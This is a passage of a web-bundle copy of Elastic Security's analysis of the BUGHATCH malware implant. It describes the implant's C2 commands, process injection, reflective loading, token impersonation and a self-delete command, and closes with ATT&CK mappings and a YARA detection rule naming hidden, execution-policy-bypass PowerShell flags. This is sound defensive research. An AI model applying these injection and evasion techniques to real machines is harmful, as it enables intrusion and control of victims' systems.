process.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image41.jpg\",alt:\"Pseudocode for anonymous pipe creation\",width:\"777\",height:\"227\"})}),`\n`,(0,t.jsx)(e.p,{children:\"After creating the suspended process, the malware allocates a large memory block to write shellcode and a XOR encrypted PE file.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The shellcode will 2-byte XOR decrypt and load the embedded PE similar to ( \",(0,t.jsx)(e.strong,{children:\"Command 3\"}),\" ). This command can load 64bit and 32bit binaries, each architecture has its own shellcode PE loader, after injecting the shellcode it will point the instruction pointer of the child process\\u2019s thread to the shellcode and resume the thread.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image2.jpg\",alt:\"Pseudocode of Reflective Loading PE into child processes\",width:\"1146\",height:\"678\"})}),`\n`,(0,t.jsx)(e.p,{children:\"The following is an example of a packet captured from our custom emulated C2 server, we can see the structure discussed earlier on the left side and the packet bytes on the right side, for each command implemented in the malware, a packet example will be given.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image7.png\",alt:\"Example of a ReflectivelyExecutePERemote command received from an emulated C2\",width:\"1440\",height:\"231\"})}),`\n`,(0,t.jsx)(e.h4,{id:\"droppediskexecute\",children:\"DropPEDiskExecute\"}),`\n`,(0,t.jsx)(e.p,{children:\"With this subcommand, the operator can drop a PE file on disk and execute it. The agent has 3 different implementations depending on the PE file type, GUI Application, CUI (Console Application), or a DLL.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"For CUI binaries, the malware first generates a random path in the temporary folder and writes the PE file to it using \",(0,t.jsx)(e.strong,{children:\"CreateFileA\"}),\" and \",(0,t.jsx)(e.strong,{children:\"WriteFile\"}),\" API.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image39.jpg\",alt:\"Pseudocode writing payload to disk\",width:\"550\",height:\"298\"})}),`\n`,(0,t.jsx)(e.p,{children:\"It then creates a process of the dropped binary file as a child process by redirecting its standard input and output handles; after execution of the payload the output is sent to the operator\\u2019s C2 server.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"For GUI PE binaries, the agent simply writes it to disk and executes it directly with \",(0,t.jsx)(e.strong,{children:\"CreateProcessA\"}),\" API.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"And lastly, for DLL PE files, the malware first writes the DLL to a randomly generated path in the temporary folder, then uses \",(0,t.jsx)(e.strong,{children:\"c:\\\\windows\\\\system32\\\\rundll32.exe\"}),\" or \",(0,t.jsx)(e.strong,{children:\"c:\\\\windows\\\\syswow64\\\\rundll32.exe\"}),\" (depending on the architecture of the DLL) to run either an exported function specified by the operator or the function \",(0,t.jsx)(e.strong,{children:\"start\"}),\" if no export functions were specified.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image1.jpg\",alt:\"Pseudocode running the payload dropped by DropPEDiskExecute function\",width:\"754\",height:\"347\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image34.png\",alt:\"Example of a SelfShellcodeExecute command received from an emulated C2\",width:\"1440\",height:\"230\"})}),`\n`,(0,t.jsx)(e.h4,{id:\"selfshellcodeexecute\",children:\"SelfShellcodeExecute\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"This subcommand tasks the agent to execute shellcode in its own memory space by allocating a memory region using \",(0,t.jsx)(e.strong,{children:\"VirtualAlloc\"}),\" API and then copying the shellcode to it, the shellcode is executed by creating a thread using \",(0,t.jsx)(e.strong,{children:\"CreateThread\"}),\" API.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image37.jpg\",alt:\"Pseudocode of SelfShellcodeExecute command\",width:\"738\",height:\"124\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image35.jpg\",alt:\"Example of a SelfShellcodeExecute command received from an emulated C2\",width:\"1440\",height:\"254\"})}),`\n`,(0,t.jsx)(e.h4,{id:\"remoteshellcodeexecute\",children:\"RemoteShellcodeExecute\"}),`\n`,(0,t.jsx)(e.p,{children:\"This sub-command can be used to execute a 32-bit or a 64-bit position independent shellcode in another process memory space.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Similarly to the \",(0,t.jsx)(e.strong,{children:\"SpawnAgent\"}),\" subcommand, the malware creates a suspended \",(0,t.jsx)(e.strong,{children:\"svchost.exe\"}),\" process with \",(0,t.jsx)(e.strong,{children:\"CreateProcessA\"}),\" API, allocates a memory region for the shellcode sent by the C2 server with \",(0,t.jsx)(e.strong,{children:\"VirtualAllocEx\"}),\" , and writes to it with \",(0,t.jsx)(e.strong,{children:\"WriteProcessMemory\"}),\" , it then sets the suspended thread instruction pointer to point to the injected shellcode with \",(0,t.jsx)(e.strong,{children:\"SetThreadContext\"}),\" and finally it will resume the thread with \",(0,t.jsx)(e.strong,{children:\"ResumeThread\"}),\" to execute the payload.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image26.jpg\",alt:\"Pseudocode writes shellcode to remote process\",width:\"526\",height:\"157\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image13.jpg\",alt:\"Pseudocode set EIP of child process using SetThreadContext\",width:\"849\",height:\"109\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image23.jpg\",alt:\"Example of a RemoteShellcodeExecute command received from an emulated C2\",width:\"1440\",height:\"275\"})}),`\n`,(0,t.jsx)(e.h4,{id:\"executecmd-and-executepowershell\",children:\"ExecuteCmd and ExecutePowershell\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"An operator can execute PowerShell scripts or CMD scripts in the infected machine, the malware can either write the script to a file in the temporary folder with a randomly generated name as follow: \",(0,t.jsx)(e.strong,{children:(0,t.jsx)(e.code,{children:\"TEMP\u003cdigits\u003e.PS1\"})}),\" for PowerShell or \",(0,t.jsx)(e.strong,{children:(0,t.jsx)(e.code,{children:\"TEMP\u003cdigits\u003e.CMD\"})}),\" for a Command shell. The malware then passes parameters to it if specified by the malicious actor and executes it, the malware uses named pipes to retrieve the output of the PowerShell process.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image30.jpg\",alt:\"Pseudocode of ExecuteCmd command\",width:\"1112\",height:\"622\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image8.jpg\",alt:\"Example of an ExecutePowershell command received from an emulated C2\",width:\"1440\",height:\"210\"})}),`\n`,(0,t.jsx)(e.h4,{id:\"reflectivelyloaddllremote\",children:\"ReflectivelyLoadDllRemote\"}),`\n`,(0,t.jsx)(e.p,{children:\"Execute reflectively a 32-bit or 64-bit DLL in a process created in a suspended state, the following summarizes the execution flow:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Check if the PE file is a 32 or 64-bit DLL\"}),`\n`,(0,t.jsxs)(e.li,{children:[\"Create a suspended \",(0,t.jsx)(e.strong,{children:\"svchost.exe\"}),\" process\"]}),`\n`,(0,t.jsxs)(e.li,{children:[\"Allocate memory for the DLL and the parameter for the DLL if specified by the C2 command with the \",(0,t.jsx)(e.strong,{children:\"VirtualAllocEx\"}),\" API\"]}),`\n`,(0,t.jsxs)(e.li,{children:[\"Write to the remotely allocated memory withthe \",(0,t.jsx)(e.strong,{children:\"WriteProcessMemory\"}),\" API the DLL and the parameter if specified\"]}),`\n`,(0,t.jsxs)(e.li,{children:[\"Create a remote thread to execute the injected DLL with the \",(0,t.jsx)(e.strong,{children:\"CreateRemoteThread\"}),\" API\"]}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image19.jpg\",alt:\"Pseudocode of a ReflectivelyLoadDllRemote command\",width:\"699\",height:\"502\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image34.png\",alt:\"Example of a ReflectivelyLoadDllRemote command received from an emulated C2\",width:\"1440\",height:\"230\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"command-2\",children:\"Command 2\"}),`\n`,(0,t.jsx)(e.p,{children:\"The command 2 has multiple sub functionalities as shown in the command table above, according to a subCommandFlag the malware can do 6 different operations as follows:\"}),`\n`,(0,t.jsx)(e.div,{className:\"table-container\",children:(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{}),(0,t.jsx)(e.th,{}),(0,t.jsx)(e.th,{})]})}),(0,t.jsxs)(e.tbody,{children:[(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"Sub Command Flag\"}),(0,t.jsx)(e.td,{children:\"Function Name\"}),(0,t.jsx)(e.td,{children:\"Functionality description\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"1\"}),(0,t.jsx)(e.td,{children:\"ExitProcess\"}),(0,t.jsx)(e.td,{children:\"Exit process\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"2\"}),(0,t.jsx)(e.td,{children:\"SelfDeleteExitProcess\"}),(0,t.jsx)(e.td,{children:\"Self delete and exit process\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"3\"}),(0,t.jsx)(e.td,{children:\"SpawnAgent64\"}),(0,t.jsx)(e.td,{children:\"Spawn 64-bit agent\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"4\"}),(0,t.jsx)(e.td,{children:\"SpawnAgent32\"}),(0,t.jsx)(e.td,{children:\"Spawn 32-bit agent\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x1001\"}),(0,t.jsx)(e.td,{children:\"ImpersonateToken\"}),(0,t.jsx)(e.td,{children:\"Impersonate explorer\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x1002\"}),(0,t.jsx)(e.td,{children:\"MigrateC2\"}),(0,t.jsx)(e.td,{children:\"Change C2 config\"})]})]})]})}),`\n`,(0,t.jsx)(e.p,{children:\"The following is the structure that is used by the above commands:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`struct ImpersonateReplicateStruct\n{\n int subCommandFlag;\n int impersonateExplorerToken;\n char padding[16];\n __int16 isParameterSet;\n WCHAR w_parameters[n];\n};\n`})}),`\n`,(0,t.jsx)(e.h4,{id:\"exitprocess\",children:\"ExitProcess\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Calls the \",(0,t.jsx)(e.strong,{children:\"ExitProcess(0)\"}),\" API to terminate.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image25.png\",alt:\"Example of an ExitProcess command received from an emulated C2\",width:\"1440\",height:\"168\"})}),`\n`,(0,t.jsx)(e.h4,{id:\"selfdeleteexitprocess\",children:\"SelfDeleteExitProcess\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The agent gets the PATH of the current process with \",(0,t.jsx)(e.strong,{children:\"GetModuleFileNameA\"}),\" and then executes the following command to self-delete: \",(0,t.jsx)(e.strong,{children:\"cmd.exe /c del FILEPATH \\\\\u003e\\\\\u003e NUL\"}),\" using \",(0,t.jsx)(e.strong,{children:\"CreateProcessA\"}),\" then simply exit the process with \",(0,t.jsx)(e.strong,{children:\"ExitProcess(0)\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image17.png\",alt:\"Example of a SelfDeleteExitProcess command received from an emulated C2\",width:\"1440\",height:\"166\"})}),`\n`,(0,t.jsx)(e.h4,{id:\"spawnagent64-and-spawnagent32\",children:\"SpawnAgent64 and SpawnAgent32\"}),`\n`,(0,t.jsx)(e.p,{children:\"When subcommands 3 or 4 are specified, the malware will spawn another agent on the same machine depending on the subcommand sent by the C2, as shown in the table above.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The malware first retrieves the C2 IP address embedded in it, it will then do an HTTP GET request to download a packed agent in shellcode format, in the sample we analyzed \",(0,t.jsx)(e.strong,{children:\"/Agent32.bin\"}),\" URI is for the 32-bit agent, and \",(0,t.jsx)(e.strong,{children:\"/Agent64.bin\"}),\" is for 64-bit the agent.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image33.jpg\",alt:\"Pseudocode spawning another agent\",width:\"1440\",height:\"761\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The malware then creates a suspended \",(0,t.jsx)(e.strong,{children:\"svchost.exe\"}),\" process with \",(0,t.jsx)(e.strong,{children:\"CreateProcessA\"}),\" API, writes the agent shellcode to the process, sets its instruction pointer to point to the injected shellcode with \",(0,t.jsx)(e.strong,{children:\"SetThreadContext\"}),\" , and finally it will resume the thread with \",(0,t.jsx)(e.strong,{children:\"ResumeThread\"}),\" to execute the injected payload.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image5.png\",alt:\"Example of a SpawnAgent32 command received from an emulated C2\",width:\"1440\",height:\"170\"})}),`\n`,(0,t.jsx)(e.h4,{id:\"impersonatetoken\",children:\"ImpersonateToken\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"This subcommand is specific to process tokens; an attacker can either impersonate the \",(0,t.jsx)(e.strong,{children:\"explorer.exe\"}),\" token or create a token from credentials (Domain\\\\Username, Password) sent by the C2 to spawn another instance of the current process.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image44.jpg\",alt:\"Pseudocode ImpersonateToken command\",width:\"1440\",height:\"336\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"It will first check if the current process is a local system account or local service account or network service account by testing whether the given process token is a member of the group with the specified RID ( \",(0,t.jsx)(e.strong,{children:\"SECURITY_LOCAL_SYSTEM_RID\"}),\" , \",(0,t.jsx)(e.strong,{children:\"SECURITY_LOCAL_SERVICE_RID\"}),\" , \",(0,t.jsx)(e.strong,{children:\"SECURITY_NETWORK_SERVICE_RID\"}),\" ) respectively.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image36.jpg\",alt:\"Pseudocode check token group membership\",width:\"1150\",height:\"202\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Then depending if the operator specified credentials or not, the malware will first call \",(0,t.jsx)(e.strong,{children:\"LogonUserW\"}),\" with the Domain\\\\User and password to create a token then it will spawn another instance of the current process with this token.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image24.jpg\",alt:\"Pseudocode LogonUserW to create a token\",width:\"1440\",height:\"347\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"If not, the implant will impersonate the \",(0,t.jsx)(e.strong,{children:\"explore.exe\"}),\" process by duplicating its token with \",(0,t.jsx)(e.strong,{children:\"DuplicateTokenEx\"}),\" and then spawn the current process with the duplicated token if no credentials are specified.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image21.png\",alt:\"Example of an ImpersonateToken command received from an emulated C2\",width:\"1440\",height:\"171\"})}),`\n`,(0,t.jsx)(e.h4,{id:\"migratec2\",children:\"MigrateC2\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The operator can migrate the implant to another C2 server by specifying the subcommand \",(0,t.jsx)(e.strong,{children:\"0x1001\"}),\" with the IP address of the new C2.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image4.jpg\",alt:\"Pseudocode migrating the implant\",width:\"1440\",height:\"329\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image31.png\",alt:\"Example of a MigrateC2 command received from an emulated C2\",width:\"1440\",height:\"170\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"command-3\",children:\"Command 3\"}),`\n`,(0,t.jsx)(e.p,{children:\"When command 3 is received the malware will reflectively load a PE file embedded as payload in the C\u0026C request in another process's memory space, the following is an overview of the execution:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Determine the type and architecture of the PE file\"}),`\n`,(0,t.jsx)(e.li,{children:\"Create a suspended process\"}),`\n`,(0,t.jsx)(e.li,{children:\"Allocate a large memory in the suspended process\"}),`\n`,(0,t.jsx)(e.li,{children:\"Write a shellcode in the allocated memory that will locate, decrypt and reflectively load the PE file\"}),`\n`,(0,t.jsx)(e.li,{children:\"2-byte XOR encrypt the PE file and append it after the shellcode\"}),`\n`,(0,t.jsx)(e.li,{children:\"Set the EIP context of the suspended process to execute the shellcode\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"The shellcode will then reflectively load the PE file\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image6.jpg\",alt:\"Pseudocode for Command 3's main logic\",width:\"1440\",height:\"929\"})}),`\n`,(0,t.jsx)(e.p,{children:\"The agent first parses the PE file received from the C2 server to determine the type and architecture of the PE file.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image28.jpg\",alt:\"Pseudocode determines the PE file architecture\",width:\"1122\",height:\"944\"})}),`\n`,(0,t.jsx)(e.p,{children:\"And according to this information, a Windows signed executable will be chosen to inject into.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"If the PE file is CUI (Console User Interface), the malware will choose \",(0,t.jsx)(e.strong,{children:\"cmd.exe\"}),\" , however, if it is GUI (Graphical User Interface) or a DLL PE file it will choose \",(0,t.jsx)(e.strong,{children:\"svchost.exe\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image11.jpg\",alt:\"Options for malware to inject into\",width:\"1164\",height:\"774\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The malware will then create a suspended process with \",(0,t.jsx)(e.strong,{children:\"CreateProcessA\"}),\" API (either \",(0,t.jsx)(e.strong,{children:\"cmd.exe\"}),\" or \",(0,t.jsx)(e.strong,{children:\"svchost.exe\"}),\" ) and allocate a large amount of memory with \",(0,t.jsx)(e.strong,{children:\"VirtualAllocEx\"}),\" in the created process, it will then copy a position independent shellcode stored in the \",(0,t.jsx)(e.strong,{children:\".rdata\"}),\" section to the newly allocated memory that is responsible for locating according to a specific tag the appended PE file, decrypt it and reflectively load it in memory.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Then it appends after the shellcode a 12 bytes structure composed of a tag, the size of the PE file, and a 2-byte XOR key.\"}),`\n`,(0,t.jsx)(e.p,{children:\"It will then 2-byte XOR encrypt the PE file and append it after the structure, the following is an overview of the written data to the allocated memory:\"}),`\n`,(0,t.jsx)(e.div,{className:\"table-container\",children:(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{}),(0,t.jsx)(e.th,{}),(0,t.jsx)(e.th,{}),(0,t.jsx)(e.th,{}),(0,t.jsx)(e.th,{})]})}),(0,t.jsx)(e.tbody,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"SHELLCODE\"}),(0,t.jsx)(e.td,{children:\"TAG\"}),(0,t.jsx)(e.td,{children:\"PE SIZE\"}),(0,t.jsx)(e.td,{children:\"2-byte XOR KEY\"}),(0,t.jsx)(e.td,{children:\"2-byte XOR encrypted PE file\"})]})})]})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image27.jpg\",alt:\"Pseudocode write shellcode and PE to child process\",width:\"1440\",height:\"524\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The agent will then set the thread context with \",(0,t.jsx)(e.strong,{children:\"SetThreadContext\"}),\" and point the instruction pointer of the suspended process to the shellcode then it will simply resume the execution with \",(0,t.jsx)(e.strong,{children:\"ResumeThread\"}),\".\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The shellcode will first locate the 2-byte XOR encrypted PE file according to the tag value ( \",(0,t.jsx)(e.strong,{children:\"0x80706050\"}),\" ), it will then 2-byte XOR decrypt it and load it reflectively on the same process memory.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"observed-adversary-tactics-and-techniques\",children:\"Observed adversary tactics and techniques\"}),`\n`,(0,t.jsx)(e.p,{children:\"Elastic uses the MITRE ATT\u0026CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"tactics\",children:\"Tactics\"}),`\n`,(0,t.jsx)(e.p,{children:\"Tactics represent the why of a technique or sub-technique. It is the adversary\\u2019s tactical goal: the reason for performing an action.\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0002\",rel:\"nofollow\",children:\"Execution\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0009\",rel:\"nofollow\",children:\"Collection\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0011\",rel:\"nofollow\",children:\"Command and Control\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0010\",rel:\"nofollow\",children:\"Exfiltration\"})}),`\n`]}),`\n`,(0,t.jsx)(e.h3,{id:\"techniques--sub-techniques\",children:\"Techniques / sub techniques\"}),`\n`,(0,t.jsx)(e.p,{children:\"Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1059/003/\",rel:\"nofollow\",children:\"Command and Scripting Interpreter: Windows Command Shell\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1573/002/\",rel:\"nofollow\",children:\"Encrypted Channel: Asymmetric Cryptography\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1573/001/\",rel:\"nofollow\",children:\"Encrypted Channel: Symmetric Cryptography\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1041/\",rel:\"nofollow\",children:\"Exfiltration Over C2 Channel\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1119/\",rel:\"nofollow\",children:\"Automated Collection\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1106/\",rel:\"nofollow\",children:\"Native API\"})}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"detections\",children:\"Detections\"}),`\n`,(0,t.jsx)(e.h3,{id:\"detection-rules\",children:\"Detection rules\"}),`\n`,(0,t.jsx)(e.p,{children:\"The following detection rule was observed during the analysis of the BUGHATCH sample. This rule is not exclusive to BUGHATCH activity.\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/current/enumeration-of-privileged-local-groups-membership.html#enumeration-of-privileged-local-groups-membership\",rel:\"nofollow\",children:\"Enumeration of Privileged Local Groups Membership\"})}),`\n`]}),`\n`,(0,t.jsx)(e.h3,{id:\"yara-rule\",children:\"YARA rule\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Elastic Security has created a \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Bughatch.yar\",rel:\"nofollow\",children:\"YARA rule\"}),\" to identify this activity.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`rule Windows_Trojan_BUGHATCH {\n meta:\n author = \\u201CElastic Security\\u201D\n creation_date = \"2022-05-09\"\n last_modified = \"2022-06-09\"\n license = \\u201CElastic License v2\\u201D\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"BUGHATCH\"\n threat_name = \"Windows.Trojan.BUGHATCH\"\n reference_sample = \"b495456a2239f3ba48e43ef295d6c00066473d6a7991051e1705a48746e8051f\"\n\n strings:\n $a1 = { 8B 45 ?? 33 D2 B9 A7 00 00 00 F7 F1 85 D2 75 ?? B8 01 00 00 00 EB 33 C0 }\n $a2 = { 8B 45 ?? 0F B7 48 04 81 F9 64 86 00 00 75 3B 8B 55 ?? 0F B7 42 16 25 00 20 00 00 ?? ?? B8 06 00 00 00 EB ?? }\n $a3 = { 69 4D 10 FD 43 03 00 81 C1 C3 9E 26 00 89 4D 10 8B 55 FC 8B 45 F8 0F B7 0C 50 8B 55 10 C1 EA 10 81 E2 FF FF 00 00 33 CA 8B 45 FC 8B 55 F8 66 89 0C 42 }\n $c1 = \"-windowstyle hidden -executionpolicy bypass -file\"\n $c2 = \"C:\\\\\\\\Windows\\\\\\\\SysWOW64\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\"\n $c3 = \"ReflectiveLoader\"\n $c4 = \"\\\\\\\\Sysnative\\\\\\\\\"\n $c5 = \"TEMP%u.CMD\"\n $c6 = \"TEMP%u.PS1\"\n $c7 = \"\\\\\\\\TEMP%d.%s\"\n $c8 = \"NtSetContextThread\"\n $c9 = \"NtResumeThread\"\n\n condition:\n any of ($a*) or 6 of ($c*)\n}\n`})})]})}function x(n={}){let{wrapper:e}=n.components||{};return e?(0,t.jsx)(e,Object.assign({},n,{children:(0,t.jsx)(h,n)})):h(n)}var T=x;return b(P);})();\n;return Component;"},"_id":"articles/bughatch-malware-analysis.mdx","_raw":{"sourceFilePath":"articles/bughatch-malware-analysis.mdx","sourceFileName":"bughatch-malware-analysis.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/bughatch-malware-analysis"},"type":"Article","imageUrl":"/assets/images/bughatch-malware-analysis/libraries-edev-ops-1680x980.jpg","readingTime":"34 min read","series":"","url":"/bughatch-malware-analysis","headings":[{"level":2,"title":"Key takeaways","href":"#key-takeaways"},{"level":2,"title":"Preamble","href":"#preamble"},{"level":2,"title":"Static analysis","href":"#static-analysis"},{"level":3,"title":"Sections","href":"#sections"},{"level":2,"title":"Code analysis","href":"#code-analysis"},{"level":3,"title":"Token adjustment","href":"#token-adjustment"},{"level":3,"title":"Information collection","href":"#information-collection"},{"level":4,"title":"Current value of the performance counter","href":"#current-value-of-the-performance-counter"},{"level":4,"title":"Network information","href":"#network-information"},{"level":4,"title":"System information","href":"#system-information"},{"level":4,"title":"Token information","href":"#token-information"},{"level":4,"title":"Domain and username of the current process","href":"#domain-and-username-of-the-current-process"},{"level":4,"title":"Current process path","href":"#current-process-path"},{"level":2,"title":"Threading and thread synchronization","href":"#threading-and-thread-synchronization"},{"level":2,"title":"Network communication protocol","href":"#network-communication-protocol"},{"level":3,"title":"Base communication protocol","href":"#base-communication-protocol"},{"level":3,"title":"Encryption implementation","href":"#encryption-implementation"},{"level":2,"title":"Command handling","href":"#command-handling"},{"level":3,"title":"Command 1","href":"#command-1"},{"level":4,"title":"ReflectivelyExecutePERemote","href":"#reflectivelyexecuteperemote"},{"level":4,"title":"DropPEDiskExecute","href":"#droppediskexecute"},{"level":4,"title":"SelfShellcodeExecute","href":"#selfshellcodeexecute"},{"level":4,"title":"RemoteShellcodeExecute","href":"#remoteshellcodeexecute"},{"level":4,"title":"ExecuteCmd and ExecutePowershell","href":"#executecmd-and-executepowershell"},{"level":4,"title":"ReflectivelyLoadDllRemote","href":"#reflectivelyloaddllremote"},{"level":3,"title":"Command 2","href":"#command-2"},{"level":4,"title":"ExitProcess","href":"#exitprocess"},{"level":4,"title":"SelfDeleteExitProcess","href":"#selfdeleteexitprocess"},{"level":4,"title":"SpawnAgent64 and SpawnAgent32","href":"#spawnagent64-and-spawnagent32"},{"level":4,"title":"ImpersonateToken","href":"#impersonatetoken"},{"level":4,"title":"MigrateC2","href":"#migratec2"},{"level":3,"title":"Command 3","href":"#command-3"},{"level":2,"title":"Observed adversary tactics and techniques","href":"#observed-adversary-tactics-and-techniques"},{"level":3,"title":"Tactics","href":"#tactics"},{"level":3,"title":"Techniques / sub techniques","href":"#techniques--sub-techniques"},{"level":2,"title":"Detections","href":"#detections"},{"level":3,"title":"Detection 